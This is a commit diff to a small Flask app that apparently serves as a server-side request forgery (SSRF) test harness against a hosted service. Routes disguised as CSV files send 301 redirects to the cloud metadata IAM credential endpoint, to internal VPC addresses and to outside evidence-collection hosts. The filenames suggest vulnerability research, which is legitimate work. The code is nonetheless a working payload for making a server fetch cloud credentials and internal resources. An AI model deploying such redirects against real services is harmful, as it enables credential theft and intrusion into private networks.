add vpc redirect tests

app.py

@@ -2,18 +2,26 @@ from flask import Flask, redirect
 app = Flask(__name__)
 
 @app.route("/data.csv")
-def redirect_to_filebin():
+def redirect_filebin():
     return redirect("https://filebin.net/ssrf-hf-evidence-1777003694/evidence.csv", code=301)
 
 @app.route("/imds.csv")
-def redirect_to_imds():
+def redirect_imds():
     return redirect("http://169.254.169.254/latest/meta-data/iam/security-credentials/", code=301)
 
 @app.route("/http_test.csv")
-def redirect_to_http():
-    # Test if https->http redirect is followed (httpbin returns json not csv)
+def redirect_http():
     return redirect("http://httpbin.org/anything/evidence.csv", code=301)
 
+@app.route("/vpc10.csv")
+def redirect_vpc10():
+    # Try internal VPC 10.x range - Space's x-proxied-host shows 10.112.x.x range
+    return redirect("http://10.112.0.1/evidence.csv", code=301)
+
+@app.route("/vpc172.csv")
+def redirect_vpc172():
+    return redirect("http://172.20.0.1/evidence.csv", code=301)
+
 @app.route("/health")
 def health():
     return "ok", 200